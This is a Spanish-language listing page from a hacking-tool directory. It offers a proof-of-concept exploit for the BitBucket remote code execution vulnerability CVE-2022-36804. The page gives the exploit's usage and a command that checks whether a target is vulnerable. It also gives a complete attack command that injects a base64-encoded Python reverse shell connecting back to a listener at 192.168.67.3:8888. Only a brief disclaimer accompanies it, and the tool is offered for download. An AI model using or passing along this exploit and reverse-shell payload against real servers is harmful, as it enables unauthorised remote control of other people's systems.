Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-36804 — Un exploit real para BitBucket RCE CVE-2022-36804 | Kitploit
Herramientas/GitHubGitHub/notdls/cve-2022-36804
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubnotdls/cve-2022-36804

CVE-2022-36804

Un exploit real para BitBucket RCE CVE-2022-36804

Ver Repositorio
357hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-36804 PoC

Este repositorio contiene un exploit simple de prueba de concepto para la reciente vulnerabilidad de ejecución remota de código en BitBucket (CVE-2022-36804). La explotación de esta vulnerabilidad requiere acceso a un repositorio en la instancia objetivo; si no tienes credenciales, el objetivo deberá tener repositorios públicos.

Uso

root@kitploit:~
usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION]
                  [--check]

Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)

optional arguments:
  -h, --help            show this help message and exit
  -p PROJECT, --project PROJECT
                        The name of the project the public repository resides in (E.g.
                        testproject)
  -r REPO, --repo REPO  The name of the public repository (E.g. testrepo)
  -u URL, --url URL     The URL of the BitBucket server (E.g. http://localhost:7990/)
  -c COMMAND, --command COMMAND
                        The command to execute on the server (E.g. 'curl http://canary.domain/')
  --proxy PROXY         HTTP proxy to use for debugging (E.g. http://localhost:8080/)
  --session SESSION     The value of your 'BITBUCKETSESSIONID' cookie, required if your target
                        repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)
  --check               Only perform a check to see if the instance is vulnerable

Ejemplos

Comprobando si una instancia es vulnerable

Para comprobar si una instancia es vulnerable, puedes ejecutar el siguiente comando

root@kitploit:~
python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check

Estableciendo una shell inversa

El siguiente comando se puede usar para establecer una shell inversa en la víctima (el payload base64 deberá actualizarse con los detalles de tu listener)

root@kitploit:~
python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d  | bash |"

Créditos

  • TheGrandPew - Identificando y reportando el fallo

Descargo de responsabilidad

Este exploit es con fines educativos/de investigación, no soy responsable de cómo la gente lo utilice. Sean amables :)

Descargar herramienta